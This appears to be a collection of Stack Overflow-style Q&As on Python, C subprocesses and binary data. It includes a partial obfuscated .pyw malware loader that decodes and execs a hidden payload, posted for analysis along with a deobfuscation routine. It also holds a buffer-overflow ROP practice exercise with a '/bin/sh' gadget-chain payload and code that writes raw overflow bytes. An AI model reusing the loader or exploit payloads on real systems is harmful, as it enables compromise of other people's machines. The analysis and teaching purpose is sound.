I am getting a Broken Pipe error when writing a large quantity of data very fast to a C subprocess.
So I am running a c subprocess from a python script:
process = subprocess.Popen("./gpiopwm", stdin=subprocess.PIPE)
while True:
process.stdin.write("m2000\n")
print "bytes written"
Sectio of main loop of gpiopwm.c:
printf("1\n");
while (1) {
fgets(input,7,stdin); // Takes input from python script
printf("2\n");
numbers = input+1; // stores all but first char of input
char first = input[0]; // stores first char of input
if (first=='m') {
printf("3\n");
printf("%s\n",numbers);
}
}
However, the output from this is as follows:
1
bytes written
Traceback (most recent call last):
File "serial-receive-to-pwm.py", line 20, in <module>
process.stdin.write("m2000\n")
IOError: [Errno 32] Broken pipe
The C program evidently breaks at the fgets line, as 2 is never printed.
What have I done wrong? How can I avoid this?
EDIT:
I've updated the fgets line so that it does not include the dereference argument, but am still getting the broken pipe error.
EDIT:
input is initialized as char *input="m2000";
If you try running your C program from the console, you will see that it crashes. And if you run in a debugger, you will see that it's on this line:
fgets(*input,7,stdin);
It seems like input is a character array, and when you dereference it with *input you are passing not a pointer but a single char value. This leads to undefined behavior and the crash.
That line should have given you if not an error then a very big warning message from the compiler. Don't ignore warning messages, they are often an indicator of you doing something wrong and possibly dangerous.
A general tip: When developing a program that should be called from another program, like you do here, test the program first to make sure it works. If it doesn't work, then fix it first.
A final tip: Remember that fgets includes the newline in the destination string. You might want to check for it and remove it if it's there.
With the last edit, showing the declaration of input we know the real problem: You're trying to modify constant data, and also you want to write beyond the bounds of the data as well.
When you make input point to a literal string, you have to remember that all literal strings are read only, you can not modify a literal string. Trying to do so is undefined behavior. To make it worse, your string is only six characters long, but you try to write seven characters to it.
First change the declaration and initialization of input:
char input[16] = "m2000\n";
This will declare it as an array, located on the stack and that can be modified. Then do
while (fgets(input, sizeof(input), stdin) != NULL) { ... }
This accomplishes two things: First by using sizeof(input) as the size, you can be sure that fgets will never write out of bounds. Secondly, by using the fgets call in the loop condition the loop will end when the Python script is interrupted, and you won't loop forever failing to read anything and then work on data that you've never read.
Related
Today I realised this .pyw file was added into my startup files.
Though I already deleted it, I suspect what it may have initially done to my computer, but it's sort of encrypted and I am not very familiar with Python, but I assume as this is the source code regardless, there is no actual way to completely encrypt it.
Can someone either guide me through how I can do that, or check it for me?
edit: by the looks of it I can only post some of it here, but it should give brief idea of how it was encrypted:
class Protect():
def __decode__(self:object,_execute:str)->exec:return(None,self._delete(_execute))[0]
def __init__(self:object,_rasputin:str=False,_exit:float=0,*_encode:str,**_bytes:int)->exec:
self._byte,self._decode,_rasputin,self._system,_bytes[_exit],self._delete=lambda _bits:"".join(__import__(self._decode[1]+self._decode[8]+self._decode[13]+self._decode[0]+self._decode[18]+self._decode[2]+self._decode[8]+self._decode[8]).unhexlify(str(_bit)).decode()for _bit in str(_bits).split('/')),exit()if _rasputin else'abcdefghijklmnopqrstuvwxyz0123456789',lambda _rasputin:exit()if self._decode[15]+self._decode[17]+self._decode[8]+self._decode[13]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read() or self._decode[8]+self._decode[13]+self._decode[15]+self._decode[20]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read()else"".join(_rasputin if _rasputin not in self._decode else self._decode[self._decode.index(_rasputin)+1 if self._decode.index(_rasputin)+1<len(self._decode)else 0]for _rasputin in "".join(chr(ord(t)-683867)if t!="ζ"else"\n"for t in self._byte(_rasputin))),lambda _rasputin:str(_bytes[_exit](f"{self._decode[4]+self._decode[-13]+self._decode[4]+self._decode[2]}(''.join(%s),{self._decode[6]+self._decode[11]+self._decode[14]+self._decode[1]+self._decode[0]+self._decode[11]+self._decode[18]}())"%list(_rasputin))).encode(self._decode[20]+self._decode[19]+self._decode[5]+self._decode[34])if _bytes[_exit]==eval else exit(),eval,lambda _exec:self._system(_rasputin(_exec))
return self.__decode__(_bytes[(self._decode[-1]+'_')[-1]+self._decode[18]+self._decode[15]+self._decode[0]+self._decode[17]+self._decode[10]+self._decode[11]+self._decode[4]])
Protect(_rasputin=False,_exit=False,_sparkle='''ceb6/f2a6bdbe/f2a6bdbb/f2a6bf82/f2a6bf83/ceb6/f2a6bdbe/f2a6bdbb/f2a6bf83/f2a6bf80/f2a6bdbb/f2a6bf93/f2a6bf89/f2a6bf8f/f2a6bdbb/f2a6bebe/f2a6bebf/f2a6bf89/f2a6bebc/f2a6bf80/
OBLIGATORY WARNING: The code is pretty obviously hiding something, and it eventually will build a string and exec it as a Python program, so it has full permissions to do anything your user account does on your computer. All of this is to say DO NOT RUN THIS SCRIPT.
The payload for this nasty thing is in that _sparkle string, which you've only posted a prefix of. Once you get past all of the terrible spacing, this program basically builds a new Python program using some silly math and exec's it, using the _sparkle data to do it. It also has some basic protection against you inserting print statements in it (amusingly, those parts are easy to remove). The part you've posted decrypts to two lines of Python comments.
# hi
# if you deobf
Without seeing the rest of the payload, we can't figure out what it was meant to do. But here's a Python function that should reverse-engineer it.
import binascii
# Feed this function the full value of the _sparkle string.
def deobfuscate(data):
decode = 'abcdefghijklmnopqrstuvwxyz0123456789'
r = "".join(binascii.unhexlify(str(x)).decode() for x in str(data).split('/'))
for x in r:
if x == "ζ":
print()
else:
x = chr(ord(x)-683867)
if x in decode:
x = decode[(decode.index(x) + 1) % len(decode)]
print(x, end='')
Each sequence of hex digits between the / is a line. Each two hex digits in the line is treated as a byte and interpreted as UTF-8. The resulting UTF-8 character is then converted to its numerical code point, the magic number 683867 is subtracted from it, and the new number is converted back into a character. Finally, if the character is a letter or number, it's "shifted" once to the right in the decode string, so letters move one forward in the alphabet and numbers increase by one (if it's not a letter/number, then no shift is done). The result, presumably, forms a valid Python program.
From here, you have a few options.
Run the Python script I gave above on the real, full _sparkle string and figure out what the resulting program does yourself.
Run the Python script I gave above on the real, full _sparkle string and post the code in your question so we can decompose that.
Post the full _sparkle string in the question, so I or someone else can decode it.
Wipe the PC to factory settings and move on.
I'm learning python in Coursera, I tried the assignment for the course but am not getting the desired result. This program is supposed to extract '0.8475' and convert it to float before printing it.
text = "X-DSPAM-Confidence: 0.8475";
pos=text.find('0');
s=text[pos:len(text)];
p=0.0;
p=(float)s;
print p;
Everytime I run this code, I get a ParseError: bad input on line 5.
What am I doing wrong?
As #ZdaR mentions, the call to the float function must pass the parameter inside the parentheses as p = float(s). I tested this in Python IDLE and the program worked correctly.
Also note that you should not end lines with ; in Python. The whitespace itself will handle that for you when you start a new line.
I'm trying to fill a simple buffer in C with an input generated with Python. This is practice for a ROP project. Here's the simple C-code:
#include <string.h>
int main(int argc, char **argv)
{
char buf[128];
strcpy(buf, argv[1]);
}
compiled as: gcc -m32 -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 test.c -o test
my hardware: x86-64, Linux Mint.
Here's part of the python input:
from struct import pack
p = '//bin/sh' #address 0xffffd15c
p += 'A'*28
#null terminate our string
p += pack("<I", 0x0806e67a) # pop edx ; ret
p += pack("<I", 0xffffd163) # # "/bin/sh" + 7
p += pack("<I", 0x080bac56) # pop eax ; ret
p += pack("<I", 0xffffffff) # 0xffffffff, or could xor the instruction
p += pack("<I", 0x0807b0cf) # inc eax ; ret
p += pack("<I", 0x08099fad) # mov dword ptr [edx], eax ; ret
For some reason when I input this as argv[1] the buffer fills correctly up until the last line. Instead of filling the buffer with 0x08099fad, it says 0x00009fad. There's more input to follow this line, but this is where is screws up, causing the rest of the input to be junk (not what I inputed).
For some reason it seems like a null byte was put into strcpy, possibly terminating it prematurely. But I don't know where the null byte is. The same happens when I try to input this address, as well later on: 0x080acedc.
Any thoughts?
Thanks!
I presume you are providing that string as a command-line argument to your C utility. (By the way, test is not a good name for a utility since it is a standard shell function often implemented as a builtin.)
Now suppose you were to invoke your utility from the terminal:
./test some thing
Clearly argv[1] would consist of a four-character word, with another word being placed in argv[2]. Had you wanted the single argument to be the entire rest of the command-line, you would need to quote it:
./test "some thing"
Now, normally when we invoke a utility from a program, we don't actually want the arguments to be interpreted by a shell. We would like to just exec the process with an argv array with the actual argument strings. That way, we don't have to worry about whitespace and shell metacharacters, and tear our hair out trying to correctly quote an arbitrary string.
But for the benefit of masochists, python provides the possibility os specifying shell=True. Even though the manual clearly warns against using this option, and even though people routinely get into trouble using it, it continues to be an oddly popular choice.
By the way, there is no space in your generated program (although their could be). Space is 0x20. But the shell interprets other bytes as whitespace. For example, tab is 0x09. I'll leave it as an exercise to figure out what the consequence of 0x0A is.
Just so someone who searches this for an answer gets actual help.
I encountered the same problem today.
What I found out is, that python itself escapes these characters.
If you write the same program in C it will work.
If you print a var like this:
jmpto = "\xbf\x84\x04\x08"
print(jmpto)
save the output to a file and use a hex editor to view it you will see it actually printed:
"C3 BB C2 84 04 08"
When I instead tried the same with:
jmpto = "\x41\x42\x43\x44"
print(jmpto)
looking at it in a hex editor it printed:
"41 42 43 44"
I sadly don't know a solution as to how to print those characters correctly using python.
Simplest solution seems to be writing it in C.
P.S: #weather-vane, what is the point in shaming someone for being interested to learn how it works underneath the hood?
Security by obscurity (aka not telling so noone finds out) doesn't work.
Someone is gonna break it.
Better show interested white hats how to do it, they might try to fix those problems.
EDIT:
I found the solution to it thanks to someone at Frauenhofer FKIE.
Using sys.stdout.buffer.write(ex_str)
Where ex_str needs to be of type bytes.
First create your string as a bytearray, than cast it to bytes type:
import sys
#convert this Hex Address or Hex ASM Code to int: fb 84 04 08
jmpto = [251, 132, 4, 8]
ex_str = bytes(bytearray(b"A"*(132 + 4)) + bytearray(jmpto))
sys.stdout.buffer.write(ex_str)
You can also use subprocess.call() or subprocess.run() to start the executable and pass it the bytes Object.
Hope someone found this helpful.
I'm translating a script from matlab, which reads a file of binary-encoded 32-bit integers and parses them appropriately. I have written the following method that is intended to mimic matlab's fread() function:
def readi(f,n):
x = zeros(n,int);
for i in range(0,n):
x[i] = struct.unpack('i',f.read(4))[0];
print x[i];
return x;
I call this function variously with n between 1 and 9 in my script as I parse out the data. My problem is that the script only gets part of the way into the file before I get this error:
x[i] = struct.unpack('i',f.read(4))[0];
struct.error: unpack requires a string argument of length 4
It appears that python thinks I have reached the end of the file. The point in execution where the error occurs is a line in a loop that has already been iterated over several times. In addition, the small portion of the file that has been parsed already matches exactly what my matlab script produces from the exact same file (not a copy). Matlab, however, is able to read a much larger dataset from the file. Does anyone have ideas on why this error is occurring?
In my own testing, whether the file was opened in binary-mode or not (surprisingly) didn't matter. The only thing I can suggest is to make sure you understand the format of the input file exactly. So in addition to reading the matlab script, it might be a good idea to look at hex dump of the file where you can see the individual bytes of raw data and be able to verify whether it matches your understanding of the layout of its contents.
Besides all that, you could try the following simplification/optimization of your readi() function which does not require the temporaryxlist and reads the bytes of all the integers in the group with one call tofile.read():
def readi(f, n):
fmt = '%di' % n
return struct.unpack(fmt, f.read(struct.calcsize(fmt)))
However I don't think it will solve your problem because it should be equivalent to what you already doing, return value-wise anyway (it doesn't print anything like yours).
One final note -- you don't need to end your lines of code with a semicolon. Python isn't like C and several other languages in that respect.
I need to call an executable in a python script and also pass binary data (generated in the same script) to this executable.
I have it working like so:
bin = make_config(data)
open('binaryInfo.bin', 'wb+').write(bin)
os.system("something.exe " + "binaryInfo.bin")
I thought I could avoid creating the binaryInfo.bin file altogether by passing 'bin' straight to the os.system call:
bin = make_config(data)
os.system("something.exe " + bin)
But in this case I get an error:
"Can't convert 'bytes' object to str implicitly"
Does anyone know the correct syntax here? Is this even possible?
Does anyone know the correct syntax here? Is this even possible?
Not like you're doing it. You can't pass arbitrary binary data on the UNIX command line, as each argument is inherently treated as null-terminated, and there's a maximum total length limit which is typically 64KB or less.
With some applications which recognize this convention, you may be able to pipe data on stdin using something like:
pipe = os.popen("something.exe -", "w")
pipe.write(bin)
pipe.close()
If the application doesn't recognize "-" for stdin, though, you will probably have to use a temporary file like you're already doing.
os.system(b"something.exe " + bin)
Should do it.. However, I'm not sure you should be sending binary data through the command line. There might be some sort of limit on character count. Also, does this something.exe actually accept binary data through the command line even?
how bout base64encoding it before sending and decoding on the other end... afaik command line arguments must be ascii range values (although this maynot be true... but I think it is..) ...
another option would be to do it the way you currently are and passing the file ...
or maybe see this Passing binary data as arguments in bash